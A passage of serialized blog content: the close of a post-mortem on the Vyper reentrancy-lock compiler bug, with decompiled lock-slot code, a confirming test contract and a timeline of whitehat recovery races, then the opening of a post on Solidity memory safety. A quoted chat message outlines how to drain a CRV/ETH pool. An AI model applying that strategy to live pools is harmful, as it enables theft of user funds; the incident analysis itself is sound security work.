remove_liquidity()?",{"type":26,"tag":39,"props":135226,"children":135227},{},[135228,135233],{"type":26,"tag":9348,"props":135229,"children":135230},{},[135231],{"type":32,"value":135232},"14:01 UTC",{"type":32,"value":135234}," A warroom was formed around this comment.",{"type":26,"tag":39,"props":135236,"children":135237},{},[135238,135243,135245,135252],{"type":26,"tag":9348,"props":135239,"children":135240},{},[135241],{"type":32,"value":135242},"14:07 UTC",{"type":32,"value":135244}," We decompiled the JPEGd contract ",{"type":26,"tag":163,"props":135246,"children":135249},{"href":135247,"rel":135248},"https://ethervm.io/decompile",[167],[135250],{"type":32,"value":135251},"with our favorite decompiler",{"type":32,"value":135253}," and noted a difference in reentrancy guard storage slot.",{"type":26,"tag":207,"props":135255,"children":135259},{"className":135256,"code":135257,"language":135258,"meta":8,"style":8},"language-yul shiki shiki-themes slack-dark","// Dispatch table entry for add_liquidity(uint256[2],uint256)\nlabel_0057:\n    if (storage[0x00]) { revert(memory[0x00:0x00]); }\n    storage[0x00] = 0x01;\n\n// Dispatch table entry for remove_liquidity(uint256,uint256[2])\nlabel_1AF3:\n    if (storage[0x02]) { revert(memory[0x00:0x00]); }\n    storage[0x02] = 0x01;\n","yul",[135260],{"type":26,"tag":83,"props":135261,"children":135262},{"__ignoreMap":8},[135263,135271,135279,135287,135295,135302,135310,135318,135326],{"type":26,"tag":217,"props":135264,"children":135265},{"class":7028,"line":7029},[135266],{"type":26,"tag":217,"props":135267,"children":135268},{},[135269],{"type":32,"value":135270},"// Dispatch table entry for add_liquidity(uint256[2],uint256)\n",{"type":26,"tag":217,"props":135272,"children":135273},{"class":7028,"line":6770},[135274],{"type":26,"tag":217,"props":135275,"children":135276},{},[135277],{"type":32,"value":135278},"label_0057:\n",{"type":26,"tag":217,"props":135280,"children":135281},{"class":7028,"line":6779},[135282],{"type":26,"tag":217,"props":135283,"children":135284},{},[135285],{"type":32,"value":135286},"    if (storage[0x00]) { revert(memory[0x00:0x00]); }\n",{"type":26,"tag":217,"props":135288,"children":135289},{"class":7028,"line":7140},[135290],{"type":26,"tag":217,"props":135291,"children":135292},{},[135293],{"type":32,"value":135294},"    storage[0x00] = 0x01;\n",{"type":26,"tag":217,"props":135296,"children":135297},{"class":7028,"line":7165},[135298],{"type":26,"tag":217,"props":135299,"children":135300},{"emptyLinePlaceholder":17},[135301],{"type":32,"value":7817},{"type":26,"tag":217,"props":135303,"children":135304},{"class":7028,"line":7178},[135305],{"type":26,"tag":217,"props":135306,"children":135307},{},[135308],{"type":32,"value":135309},"// Dispatch table entry for remove_liquidity(uint256,uint256[2])\n",{"type":26,"tag":217,"props":135311,"children":135312},{"class":7028,"line":7389},[135313],{"type":26,"tag":217,"props":135314,"children":135315},{},[135316],{"type":32,"value":135317},"label_1AF3:\n",{"type":26,"tag":217,"props":135319,"children":135320},{"class":7028,"line":7406},[135321],{"type":26,"tag":217,"props":135322,"children":135323},{},[135324],{"type":32,"value":135325},"    if (storage[0x02]) { revert(memory[0x00:0x00]); }\n",{"type":26,"tag":217,"props":135327,"children":135328},{"class":7028,"line":7439},[135329],{"type":26,"tag":217,"props":135330,"children":135331},{},[135332],{"type":32,"value":135333},"    storage[0x02] = 0x01;\n",{"type":26,"tag":39,"props":135335,"children":135336},{},[135337,135342],{"type":26,"tag":9348,"props":135338,"children":135339},{},[135340],{"type":32,"value":135341},"14:27 UTC",{"type":32,"value":135343}," We confirmed this behavior with a simple local test contract.",{"type":26,"tag":207,"props":135345,"children":135347},{"className":18387,"code":135346,"language":18386,"meta":8,"style":8},"@external\n@nonreentrant(\"lock\")\ndef test(addr: address) -> bool:\n    return True\n\n@external\n@nonreentrant(\"lock\")\ndef test2(addr: address) -> bool:\n    return False\n",[135348],{"type":26,"tag":83,"props":135349,"children":135350},{"__ignoreMap":8},[135351,135359,135380,135413,135425,135432,135439,135458,135490],{"type":26,"tag":217,"props":135352,"children":135353},{"class":7028,"line":7029},[135354],{"type":26,"tag":217,"props":135355,"children":135356},{"style":7064},[135357],{"type":32,"value":135358},"@external\n",{"type":26,"tag":217,"props":135360,"children":135361},{"class":7028,"line":6770},[135362,135367,135371,135376],{"type":26,"tag":217,"props":135363,"children":135364},{"style":7064},[135365],{"type":32,"value":135366},"@nonreentrant",{"type":26,"tag":217,"props":135368,"children":135369},{"style":7048},[135370],{"type":32,"value":1851},{"type":26,"tag":217,"props":135372,"children":135373},{"style":7338},[135374],{"type":32,"value":135375},"\"lock\"",{"type":26,"tag":217,"props":135377,"children":135378},{"style":7048},[135379],{"type":32,"value":10025},{"type":26,"tag":217,"props":135381,"children":135382},{"class":7028,"line":6779},[135383,135388,135392,135396,135400,135405,135409],{"type":26,"tag":217,"props":135384,"children":135385},{"style":7154},[135386],{"type":32,"value":135387},"def",{"type":26,"tag":217,"props":135389,"children":135390},{"style":7064},[135391],{"type":32,"value":75109},{"type":26,"tag":217,"props":135393,"children":135394},{"style":7048},[135395],{"type":32,"value":1851},{"type":26,"tag":217,"props":135397,"children":135398},{"style":7054},[135399],{"type":32,"value":16933},{"type":26,"tag":217,"props":135401,"children":135402},{"style":7048},[135403],{"type":32,"value":135404},": address) -> ",{"type":26,"tag":217,"props":135406,"children":135407},{"style":7119},[135408],{"type":32,"value":74880},{"type":26,"tag":217,"props":135410,"children":135411},{"style":7048},[135412],{"type":32,"value":81278},{"type":26,"tag":217,"props":135414,"children":135415},{"class":7028,"line":7140},[135416,135420],{"type":26,"tag":217,"props":135417,"children":135418},{"style":7042},[135419],{"type":32,"value":7171},{"type":26,"tag":217,"props":135421,"children":135422},{"style":7154},[135423],{"type":32,"value":135424}," True\n",{"type":26,"tag":217,"props":135426,"children":135427},{"class":7028,"line":7165},[135428],{"type":26,"tag":217,"props":135429,"children":135430},{"emptyLinePlaceholder":17},[135431],{"type":32,"value":7817},{"type":26,"tag":217,"props":135433,"children":135434},{"class":7028,"line":7178},[135435],{"type":26,"tag":217,"props":135436,"children":135437},{"style":7064},[135438],{"type":32,"value":135358},{"type":26,"tag":217,"props":135440,"children":135441},{"class":7028,"line":7389},[135442,135446,135450,135454],{"type":26,"tag":217,"props":135443,"children":135444},{"style":7064},[135445],{"type":32,"value":135366},{"type":26,"tag":217,"props":135447,"children":135448},{"style":7048},[135449],{"type":32,"value":1851},{"type":26,"tag":217,"props":135451,"children":135452},{"style":7338},[135453],{"type":32,"value":135375},{"type":26,"tag":217,"props":135455,"children":135456},{"style":7048},[135457],{"type":32,"value":10025},{"type":26,"tag":217,"props":135459,"children":135460},{"class":7028,"line":7406},[135461,135465,135470,135474,135478,135482,135486],{"type":26,"tag":217,"props":135462,"children":135463},{"style":7154},[135464],{"type":32,"value":135387},{"type":26,"tag":217,"props":135466,"children":135467},{"style":7064},[135468],{"type":32,"value":135469}," test2",{"type":26,"tag":217,"props":135471,"children":135472},{"style":7048},[135473],{"type":32,"value":1851},{"type":26,"tag":217,"props":135475,"children":135476},{"style":7054},[135477],{"type":32,"value":16933},{"type":26,"tag":217,"props":135479,"children":135480},{"style":7048},[135481],{"type":32,"value":135404},{"type":26,"tag":217,"props":135483,"children":135484},{"style":7119},[135485],{"type":32,"value":74880},{"type":26,"tag":217,"props":135487,"children":135488},{"style":7048},[135489],{"type":32,"value":81278},{"type":26,"tag":217,"props":135491,"children":135492},{"class":7028,"line":7439},[135493,135497],{"type":26,"tag":217,"props":135494,"children":135495},{"style":7042},[135496],{"type":32,"value":7171},{"type":26,"tag":217,"props":135498,"children":135499},{"style":7154},[135500],{"type":32,"value":135501}," False\n",{"type":26,"tag":39,"props":135503,"children":135504},{},[135505],{"type":32,"value":135506},"This was not just another reentrancy bug.",{"type":26,"tag":39,"props":135508,"children":135509},{},[135510],{"type":32,"value":135511},"At this point, we realized just how impactful this would be. There was a blackout of information, and we deleted public messages on the nature of the vulnerability.",{"type":26,"tag":39,"props":135513,"children":135514},{},[135515,135520],{"type":26,"tag":9348,"props":135516,"children":135517},{},[135518],{"type":32,"value":135519},"14:37 UTC",{"type":32,"value":135521}," Wavey helped identify the vulnerable commit and affected versions. This was also confirmed by me and Charles by manually inspecting the Vyper compiler output.",{"type":26,"tag":39,"props":135523,"children":135524},{},[135525],{"type":26,"tag":6468,"props":135526,"children":135528},{"alt":8,"src":135527},"/posts/vyper-timeline/sstore.png",[],{"type":26,"tag":39,"props":135530,"children":135531},{},[135532],{"type":32,"value":135533},"It was a race with the hackers.",{"type":26,"tag":39,"props":135535,"children":135536},{},[135537],{"type":32,"value":135538},"Thankfully, people were still confusing this for read-only reentrancy. Taken from the \"Web3 Security Alerts\" channel.",{"type":26,"tag":35,"props":135540,"children":135541},{},[135542],{"type":26,"tag":39,"props":135543,"children":135544},{},[135545,135547],{"type":32,"value":135546},"Alchemix and Metronome DAO also been hacked due to this read-only reentrancy bug: ",{"type":26,"tag":163,"props":135548,"children":135551},{"href":135549,"rel":135550},"https://twitter.com/hexagate_/status/1685677801813217280",[167],[135552],{"type":32,"value":135549},{"type":26,"tag":39,"props":135554,"children":135555},{},[135556],{"type":32,"value":135557},"Michael identified alETH and msETH pools, which were also running 0.2.15, as being also potentially vulnerable.",{"type":26,"tag":39,"props":135559,"children":135560},{},[135561,135566,135567,135574],{"type":26,"tag":9348,"props":135562,"children":135563},{},[135564],{"type":32,"value":135565},"14:50 UTC",{"type":32,"value":19795},{"type":26,"tag":163,"props":135568,"children":135571},{"href":135569,"rel":135570},"https://etherscan.io/tx/0xc93eb238ff42632525e990119d3edc7775299a70b56e54d83ec4f53736400964",[167],[135572],{"type":32,"value":135573},"msETH/ETH was drained",{"type":32,"value":180},{"type":26,"tag":39,"props":135576,"children":135577},{},[135578,135583,135584,135591],{"type":26,"tag":9348,"props":135579,"children":135580},{},[135581],{"type":32,"value":135582},"15:34 UTC",{"type":32,"value":19795},{"type":26,"tag":163,"props":135585,"children":135588},{"href":135586,"rel":135587},"https://etherscan.io/tx/0xb676d789bb8b66a08105c844a49c2bcffb400e5c1cfabd4bc30cca4bff3c9801",[167],[135589],{"type":32,"value":135590},"alETH/ETH was drained",{"type":32,"value":180},{"type":26,"tag":39,"props":135593,"children":135594},{},[135595,135600,135602,135609],{"type":26,"tag":9348,"props":135596,"children":135597},{},[135598],{"type":32,"value":135599},"15:43 UTC",{"type":32,"value":135601}," We identified that ",{"type":26,"tag":163,"props":135603,"children":135606},{"href":135604,"rel":135605},"https://etherscan.io/address/0x8301AE4fc9c624d1D396cbDAa1ed877821D7C511#code",[167],[135607],{"type":32,"value":135608},"CRV/ETH was vulnerable",{"type":32,"value":135610},", compiled using Vyper version 3.0.0. It was critical that we kept the nature of affected contracts secret for as long as possible.",{"type":26,"tag":39,"props":135612,"children":135613},{},[135614,135619],{"type":26,"tag":9348,"props":135615,"children":135616},{},[135617],{"type":32,"value":135618},"16:11 UTC",{"type":32,"value":135620}," We began working on a whitehat exploit.",{"type":26,"tag":39,"props":135622,"children":135623},{},[135624,135626,135633],{"type":32,"value":135625},"Unfortunately, too many groups were doing independent research in parallel and rumors were spreading. At 16:44 UTC, we decided to release a ",{"type":26,"tag":163,"props":135627,"children":135630},{"href":135628,"rel":135629},"https://twitter.com/vyperlang/status/1685692973051498497",[167],[135631],{"type":32,"value":135632},"public statement on affected versions",{"type":32,"value":180},{"type":26,"tag":39,"props":135635,"children":135636},{},[135637],{"type":32,"value":135638},"By 18:32 UTC, we had a proof of concept exploit to be used in a potential whitehat recovery. bpak from Chainlight was also working on an exploit in parallel, and shared it at 19:06 UTC.",{"type":26,"tag":39,"props":135640,"children":135641},{},[135642,135644,135651],{"type":32,"value":135643},"Five minutes later at 19:11 UTC, ",{"type":26,"tag":163,"props":135645,"children":135648},{"href":135646,"rel":135647},"https://etherscan.io/tx/0x2e7dc8b2fb7e25fd00ed9565dcc0ad4546363171d5e00f196d48103983ae477c",[167],[135649],{"type":32,"value":135650},"somebody else stole the funds",{"type":32,"value":180},{"type":26,"tag":39,"props":135653,"children":135654},{},[135655],{"type":32,"value":135656},"The attack structure was largely different from either of our proofs of concept, so it was unlikely to have been a leak from our group. Regardless, this was pretty demoralizing.",{"type":26,"tag":39,"props":135658,"children":135659},{},[135660],{"type":32,"value":135661},"Nevertheless, there was more ground to cover.",{"type":26,"tag":39,"props":135663,"children":135664},{},[135665,135670],{"type":26,"tag":9348,"props":135666,"children":135667},{},[135668],{"type":32,"value":135669},"21:26 UTC",{"type":32,"value":135671}," Addison proposed an ambitious plan to recover the remaining assets in the CRVETH pool.",{"type":26,"tag":35,"props":135673,"children":135674},{},[135675],{"type":26,"tag":39,"props":135676,"children":135677},{},[135678,135680,135683,135685,135688,135690,135693,135695],{"type":32,"value":135679},"if you send like 30k crv to the crv/eth pool ",{"type":26,"tag":42610,"props":135681,"children":135682},{},[],{"type":32,"value":135684},"\nyou can then update admin fee ",{"type":26,"tag":42610,"props":135686,"children":135687},{},[],{"type":32,"value":135689},"\nand then the crv/eth rate is like .15 eth per crv ",{"type":26,"tag":42610,"props":135691,"children":135692},{},[],{"type":32,"value":135694},"\nso you can basically drain whole pool for few hundred K crv ",{"type":26,"tag":42610,"props":135696,"children":135697},{},[],{"type":26,"tag":39,"props":135699,"children":135700},{},[135701,135706],{"type":26,"tag":9348,"props":135702,"children":135703},{},[135704],{"type":32,"value":135705},"21:52 UTC",{"type":32,"value":135707}," bpak had produced a working proof of concept which could recover 3100 ETH.",{"type":26,"tag":39,"props":135709,"children":135710},{},[135711,135713,135720,135722,135729,135737],{"type":32,"value":135712},"Ten minutes later at 22:02 UTC, we were beaten again. By some freak concidence, the ",{"type":26,"tag":163,"props":135714,"children":135717},{"href":135715,"rel":135716},"https://etherscan.io/address/0x8c73d39b2da2dd1a10cc16502bc7c8d768ec74c9",[167],[135718],{"type":32,"value":135719},"CRV admin fee bot",{"type":32,"value":135721}," had claimed fees and ",{"type":26,"tag":163,"props":135723,"children":135726},{"href":135724,"rel":135725},"https://etherscan.io/tx/0xcd99fadd7e28a42a063e07d9d86f67c88e10a7afe5921bd28cd1124924ae2052",[167],[135727],{"type":32,"value":135728},"the pool was drained",{"type":26,"tag":98386,"props":135730,"children":135731},{},[135732],{"type":26,"tag":163,"props":135733,"children":135735},{"href":98391,"ariaDescribedBy":135734,"dataFootnoteRef":8,"id":98394},[98393],[135736],{"type":32,"value":185},{"type":32,"value":180},{"type":26,"tag":27,"props":135739,"children":135741},{"id":135740},"blame",[135742],{"type":32,"value":135743},"Blame",{"type":26,"tag":39,"props":135745,"children":135746},{},[135747,135751],{"type":26,"tag":65,"props":135748,"children":135749},{},[135750],{"type":32,"value":135743},{"type":32,"value":135752}," is a strong word. It's not productive to point fingers. At the same time, I think it's useful to think about what could have went better.",{"type":26,"tag":607,"props":135754,"children":135756},{"id":135755},"races",[135757],{"type":32,"value":135758},"Races",{"type":26,"tag":39,"props":135760,"children":135761},{},[135762],{"type":32,"value":135763},"In both cases, whitehat efforts were beaten by less than half an hour. Sometimes every second really does count.",{"type":26,"tag":39,"props":135765,"children":135766},{},[135767],{"type":32,"value":135768},"There likely could have been better preparation and resources for executing on these attacks. At the same time, this seems like a double-edged sword. Is it really a good idea to aggregate information related how to execute a hack? Who should we trust?",{"type":26,"tag":39,"props":135770,"children":135771},{},[135772],{"type":32,"value":135773},"On the other hand, I think the process was quite efficient. We went from initial suspicions to identifying vulnerable variants in 2 hours and 4 minutes.",{"type":26,"tag":607,"props":135775,"children":135777},{"id":135776},"information-leakage",[135778],{"type":32,"value":135779},"Information Leakage",{"type":26,"tag":39,"props":135781,"children":135782},{},[135783],{"type":32,"value":135784},"I was both an auditor and a whitehat.",{"type":26,"tag":39,"props":135786,"children":135787},{},[135788,135790,135797],{"type":32,"value":135789},"There's a strong culture of publishing in auditing. We're paid for technical thought leadership and deep understanding of vulnerabilities. One way to demonstrate this is ",{"type":26,"tag":163,"props":135791,"children":135794},{"href":135792,"rel":135793},"https://twitter.com/osec_io/status/1579969927020412929",[167],[135795],{"type":32,"value":135796},"by publishing the \"scoop\"",{"type":32,"value":135798}," on hacks in the wild. Researchers cost a lot and the return on investment is publicity.",{"type":26,"tag":39,"props":135800,"children":135801},{},[135802],{"type":32,"value":135803},"On the other hand, there's a compelling argument that early disclosure of the affected versions had a material impact on the whitehat recovery.",{"type":26,"tag":39,"props":135805,"children":135806},{},[135807],{"type":32,"value":135808},"Half an hour more could have saved $18M.",{"type":26,"tag":39,"props":135810,"children":135811},{},[135812],{"type":32,"value":135813},"Auditors don't pay for externalities created by their reporting. Instead, they get rewarded with likes, retweets, and publicity. Seems like a hard problem.",{"type":26,"tag":27,"props":135815,"children":135817},{"id":135816},"next-steps",[135818],{"type":32,"value":135819},"Next Steps",{"type":26,"tag":39,"props":135821,"children":135822},{},[135823],{"type":32,"value":135824},"I disagree with takes like \"we need formal verification to solve this\". This bug could have been caught with a unit test. Formal verification is very useful for many bug classes, but I'm not convinced it's as useful for relatively simple, non-optimizing compilers.",{"type":26,"tag":39,"props":135826,"children":135827},{},[135828,135830,135837],{"type":32,"value":135829},"It's important to note that this bug ",{"type":26,"tag":163,"props":135831,"children":135834},{"href":135832,"rel":135833},"https://twitter.com/real_philogy/status/1685948253139857409",[167],[135835],{"type":32,"value":135836},"was patched since November 2021",{"type":32,"value":180},{"type":26,"tag":35,"props":135839,"children":135840},{},[135841],{"type":26,"tag":39,"props":135842,"children":135843},{},[135844,135846,135851,135852,135855,135857,135862],{"type":32,"value":135845},"I think this Vyper 0day is less about the skill of the Vyper team or the language itself but more about ",{"type":26,"tag":65,"props":135847,"children":135848},{},[135849],{"type":32,"value":135850},"processes",{"type":32,"value":15487},{"type":26,"tag":42610,"props":135853,"children":135854},{},[],{"type":32,"value":135856},"\nThe bug was a fixed many versions of Vyper ago, the actual oversight was not realizing the potential impact to projects at the time it ",{"type":26,"tag":65,"props":135858,"children":135859},{},[135860],{"type":32,"value":135861},"was",{"type":32,"value":135863}," fixed.",{"type":26,"tag":39,"props":135865,"children":135866},{},[135867],{"type":32,"value":135868},"Unfortunately, public goods get easily forgotten. With immutable contracts, projects can have implicit dependencies on code written years ago. Protocol developers and security experts should stay up to date on security developments across the entire execution stack.",{"type":26,"tag":98804,"props":135870,"children":135872},{"className":135871,"dataFootnotes":8},[98807],[135873,135878],{"type":26,"tag":27,"props":135874,"children":135876},{"className":135875,"id":98393},[98812],[135877],{"type":32,"value":98815},{"type":26,"tag":6712,"props":135879,"children":135880},{},[135881],{"type":26,"tag":2044,"props":135882,"children":135883},{"id":98821},[135884,135886],{"type":32,"value":135885},"Thankfully, these funds were later returned. ",{"type":26,"tag":163,"props":135887,"children":135889},{"href":98837,"ariaLabel":98838,"className":135888,"dataFootnoteBackref":8},[98840],[135890],{"type":32,"value":98843},{"type":26,"tag":9282,"props":135892,"children":135893},{},[135894],{"type":32,"value":9286},{"title":8,"searchDepth":6770,"depth":6770,"links":135896},[135897,135898,135902,135903],{"id":135175,"depth":6770,"text":135178},{"id":135740,"depth":6770,"text":135743,"children":135899},[135900,135901],{"id":135755,"depth":6779,"text":135758},{"id":135776,"depth":6779,"text":135779},{"id":135816,"depth":6770,"text":135819},{"id":98393,"depth":6770,"text":98815},"content:blog:2023-08-01-vyper-timeline.md","blog/2023-08-01-vyper-timeline.md","blog/2023-08-01-vyper-timeline",{"_path":135908,"_dir":6,"_draft":7,"_partial":7,"_locale":8,"title":135909,"description":135910,"author":96998,"image":135911,"date":135913,"isFeatured":17,"onBlogPage":17,"tags":135914,"body":135915,"_type":6799,"_id":137322,"_source":6801,"_file":137323,"_stem":137324,"_extension":6804},"/blog/2023-07-28-solidity-compilers-memory-safety","Solidity Compilers: Memory Safety","An exploration into the Solidity compilation pipeline, optimization assumptions, and how it all relates back to memory-safe assembly.",{"src":135912,"height":6817,"width":6817},"/posts/solidity-compilers-memory-safety/header.jpg","2023-07-28",[59409,73989],{"type":23,"children":135916,"toc":137313},[135917,135921,135958,135970,135976,135998,136011,136156,136177,136182,136203,136208,136216,136221,136226,136231,136237,136256,136261,136282,136342,136355,136385,136405,136432,136437,136450,136455,136460,136473,136504,136525,136677,136695,136745,136764,136789,136794,136800,136827,136847,136875,136880,136902,136921,136929,136940,136945,136961,137216,137224,137229,137235,137240,137245,137309],{"type":26,"tag":27,"props":135918,"children":135919},{"id":24419},[135920],{"type":32,"value":24422},{"type":26,"tag":39,"props":135922,"children":135923},{},[135924,135926,135932,135933,135938,135940,135947,135949,135956],{"type":32,"value":135925},"What does ",{"type":26,"tag":83,"props":135927,"children":135929},{"className":135928},[],[135930],{"type":32,"value":135931},"memory-safe",{"type":32,"value":19795},{"type":26,"tag":65,"props":135934,"children":135935},{},[135936],{"type":32,"value":135937},"actually",{"type":32,"value":135939}," mean? What guarantees does Solidity expose when you're dealing with inline assembly? The documentation ",{"type":26,"tag":163,"props":135941,"children":135944},{"href":135942,"rel":135943},"https://docs.soliditylang.org/en/v0.8.20/assembly.html#memory-safety",[167],[135945],{"type":32,"value":135946},"presents some requirements",{"type":32,"value":135948},", but is production code that ",{"type":26,"tag":163,"props":135950,"children":135953},{"href":135951,"rel":135952},"https://github.com/Vectorized/solady/blob/main/src/utils/SafeTransferLib.sol#L165-L166",[167],[135954],{"type":32,"value":135955},"violates these requirements",{"type":32,"value":135957}," necessarily unsafe?",{"type":26,"tag":39,"props":135959,"children":135960},{},[135961,135963,135968],{"type":32,"value":135962},"In this blog post, we present a high-level overview of the Solidity compiler. We'll also dive into the optimization pipeline, language lawyering, and present an argument for what ",{"type":26,"tag":65,"props":135964,"children":135965},{},[135966],{"type":32,"value":135967},"memory-safety",{"type":32,"value":135969}," actually means.",{"type":26,"tag":27,"props":135971,"children":135973},{"id":135972},"compiler-pipeline",[135974],{"type":32,"value":135975},"Compiler Pipeline",{"type":26,"tag":39,"props":135977,"children":135978},{},[135979,135981,135988,135990,135997],{"type":32,"value":135980},"For brevity's sake, we'll only cover the YUL IR Solidity compilation pipeline ",{"type":26,"tag":163,"props":135982,"children":135985},{"href":135983,"rel":135984},"https://blog.soliditylang.org/2022/03/16/solidity-0.8.13-release-announcement/",[167],[135986],{"type":32,"value":135987},"released in v0.8.13",{"type":32,"value":135989},". Compilation happens ",{"type":26,"tag":163,"props":135991,"children":135994},{"href":135992,"rel":135993},"https://github.com/ethereum/solidity/blob/4a8d6618f5b398077f694835905f93d0a3890289/libsolidity/interface/CompilerStack.cpp#L684",[167],[135995],{"type":32,"value":135996},"in two main steps",{"type":32,"value":1473},{"type":26,"tag":6712,"props":135999,"children":136000},{},[136001,136006],{"type":26,"tag":2044,"props":136002,"children":136003},{},[136004],{"type":32,"value":136005},"Solidity to YUL IR",{"type":26,"tag":2044,"props":136007,"children":136008},{},[136009],{"type":32,"value":136010},"YUL IR to EVM opcodes",{"type":26,"tag":207,"props":136012,"children":136014},{"className":33132,"code":136013,"language":33131,"meta":8,"style":8},"    if (m_viaIR || m_generateIR || m_generateEwasm)\n        generateIR(*contract);\n    if (m_generateEvmBytecode)\n    {\n        if (m_viaIR)\n            generateEVMFromIR(*contract);\n        else\n            compileContract(*contract, otherCompilers);\n    }\n",[136015],{"type":26,"tag":83,"props":136016,"children":136017},{"__ignoreMap":8},[136018,136048,136069,136081,136088,136100,136120,136128,136149],{"type":26,"tag":217,"props":136019,"children":136020},{"class":7028,"line":7029},[136021,136025,136030,136034,136039,136043],{"type":26,"tag":217,"props":136022,"children":136023},{"style":7042},[136024],{"type":32,"value":9710},{"type":26,"tag":217,"props":136026,"children":136027},{"style":7048},[136028],{"type":32,"value":136029}," (m_viaIR ",{"type":26,"tag":217,"props":136031,"children":136032},{"style":7149},[136033],{"type":32,"value":14802},{"type":26,"tag":217,"props":136035,"children":136036},{"style":7048},[136037],{"type":32,"value":136038}," m_generateIR ",{"type":26,"tag":217,"props":136040,"children":136041},{"style":7149},[136042],{"type":32,"value":14802},{"type":26,"tag":217,"props":136044,"children":136045},{"style":7048},[136046],{"type":32,"value":136047}," m_generateEwasm)\n",{"type":26,"tag":217,"props":136049,"children":136050},{"class":7028,"line":6770},[136051,136056,136060,136064],{"type":26,"tag":217,"props":136052,"children":136053},{"style":7064},[136054],{"type":32,"value":136055},"        generateIR",{"type":26,"tag":217,"props":136057,"children":136058},{"style":7048},[136059],{"type":32,"value":1851},{"type":26,"tag":217,"props":136061,"children":136062},{"style":7149},[136063],{"type":32,"value":10006},{"type":26,"tag":217,"props":136065,"children":136066},{"style":7048},[136067],{"type":32,"value":136068},"contract);\n",{"type":26,"tag":217,"props":136070,"children":136071},{"class":7028,"line":6779},[136072,136076],{"type":26,"tag":217,"props":136073,"children":136074},{"style":7042},[136075],{"type":32,"value":9710},{"type":26,"tag":217,"props":136077,"children":136078},{"style":7048},[136079],{"type":32,"value":136080}," (m_generateEvmBytecode)\n",{"type":26,"tag":217,"props":136082,"children":136083},{"class":7028,"line":7140},[136084],{"type":26,"tag":217,"props":136085,"children":136086},{"style":7048},[136087],{"type":32,"value":37334},{"type":26,"tag":217,"props":136089,"children":136090},{"class":7028,"line":7165},[136091,136095],{"type":26,"tag":217,"props":136092,"children":136093},{"style":7042},[136094],{"type":32,"value":12497},{"type":26,"tag":217,"props":136096,"children":136097},{"style":7048},[136098],{"type":32,"value":136099}," (m_viaIR)\n",{"type":26,"tag":217,"props":136101,"children":136102},{"class":7028,"line":7178},[136103,136108,136112,136116],{"type":26,"tag":217,"props":136104,"children":136105},{"style":7064},[136106],{"type":32,"value":136107},"            generateEVMFromIR",{"type":26,"tag":217,"props":136109,"children":136110},{"style":7048},[136111],{"type":32,"value":1851},{"type":26,"tag":217,"props":136113,"children":136114},{"style":7149},[136115],{"type":32,"value":10006},{"type":26,"tag":217,"props":136117,"children":136118},{"style":7048},[136119],{"type":32,"value":136068},{"type":26,"tag":217,"props":136121,"children":136122},{"class":7028,"line":7389},[136123],{"type":26,"tag":217,"props":136124,"children":136125},{"style":7042},[136126],{"type":32,"value":136127},"        else\n",{"type":26,"tag":217,"props":136129,"children":136130},{"class":7028,"line":7406},[136131,136136,136140,136144],{"type":26,"tag":217,"props":136132,"children":136133},{"style":7064},[136134],{"type":32,"value":136135},"            compileContract",{"type":26,"tag":217,"props":136137,"children":136138},{"style":7048},[136139],{"type":32,"value":1851},{"type":26,"tag":217,"props":136141,"children":136142},{"style":7149},[136143],{"type":32,"value":10006},{"type":26,"tag":217,"props":136145,"children":136146},{"style":7048},[136147],{"type":32,"value":136148},"contract, otherCompilers);\n",{"type":26,"tag":217,"props":136150,"children":136151},{"class":7028,"line":7439},[136152],{"type":26,"tag":217,"props":136153,"children":136154},{"style":7048},[136155],{"type":32,"value":9754},{"type":26,"tag":39,"props":136157,"children":136158},{},[136159,136161,136168,136169,136176],{"type":32,"value":136160},"Each step applies its own set of optimizations. The entrypoints are located at ",{"type":26,"tag":163,"props":136162,"children":136165},{"href":136163,"rel":136164},"https://github.com/ethereum/solidity/blob/fd9ac9abed2049a4b8134d39e178275c8aad75b6/libyul/YulStack.cpp#L92",[167],[136166],{"type":32,"value":136167},"YulStack::optimize",{"type":32,"value":1308},{"type":26,"tag":163,"props":136170,"children":136173},{"href":136171,"rel":136172},"https://github.com/ethereum/solidity/blob/4a8d6618f5b398077f694835905f93d0a3890289/libevmasm/Assembly.cpp#L336",[167],[136174],{"type":32,"value":136175},"Assembly::optimize",{"type":32,"value":180},{"type":26,"tag":39,"props":136178,"children":136179},{},[136180],{"type":32,"value":136181},"In total, there are four steps.",{"type":26,"tag":6712,"props":136183,"children":136184},{},[136185,136189,136194,136198],{"type":26,"tag":2044,"props":136186,"children":136187},{},[136188],{"type":32,"value":136005},{"type":26,"tag":2044,"props":136190,"children":136191},{},[136192],{"type":32,"value":136193},"Optimization of YUL IR",{"type":26,"tag":2044,"props":136195,"children":136196},{},[136197],{"type":32,"value":136010},{"type":26,"tag":2044,"props":136199,"children":136200},{},[136201],{"type":32,"value":136202},"Optimization of EVM opcodes",{"type":26,"tag":39,"props":136204,"children":136205},{},[136206],{"type":32,"value":136207},"As mentioned in the v0.8.13 release post, the YUL optimizer is able to perform much more complex optimizations. Compared to Solidity, YUL contains detailed semantic information and is simpler for optimization passes to reason about than opcodes.",{"type":26,"tag":35,"props":136209,"children":136210},{},[136211],{"type":26,"tag":39,"props":136212,"children":136213},{},[136214],{"type":32,"value":136215},"The performance of the new pipeline is not yet always superior to the old one, but it can do much higher-level optimization across functions, so please try it out and give us feedback!",{"type":26,"tag":39,"props":136217,"children":136218},{},[136219],{"type":32,"value":136220},"Importantly, each step happens in isolation and retains no information about the previous stage.",{"type":26,"tag":39,"props":136222,"children":136223},{},[136224],{"type":32,"value":136225},"The optimizer cannot change the behavior of the generated IR. This means we don't need to worry about potentially tricky optimizations such as reordering of functions, removal of unused assigns, or moving stack variables to memory.",{"type":26,"tag":39,"props":136227,"children":136228},{},[136229],{"type":32,"value":136230},"When it comes to safety, we need only to consider the IR generation. But what exactly are the guarantees here?",{"type":26,"tag":27,"props":136232,"children":136234},{"id":136233},"guarantees",[136235],{"type":32,"value":136236},"Guarantees",{"type":26,"tag":39,"props":136238,"children":136239},{},[136240,136241,136248,136250,136255],{"type":32,"value":475},{"type":26,"tag":163,"props":136242,"children":136245},{"href":136243,"rel":136244},"https://docs.soliditylang.org/en/v0.8.20/internals/layout_in_memory.html",[167],[136246],{"type":32,"value":136247},"Solidity memory layout",{"type":32,"value":136249}," exists only at the time of YUL IR generation. The YUL optimizer and later steps has ",{"type":26,"tag":65,"props":136251,"children":136252},{},[136253],{"type":32,"value":136254},"no information about this layout",{"type":32,"value":180},{"type":26,"tag":39,"props":136257,"children":136258},{},[136259],{"type":32,"value":136260},"What if the optimizer wants to use memory for optimization passes? How does it know what slots are used by the IR 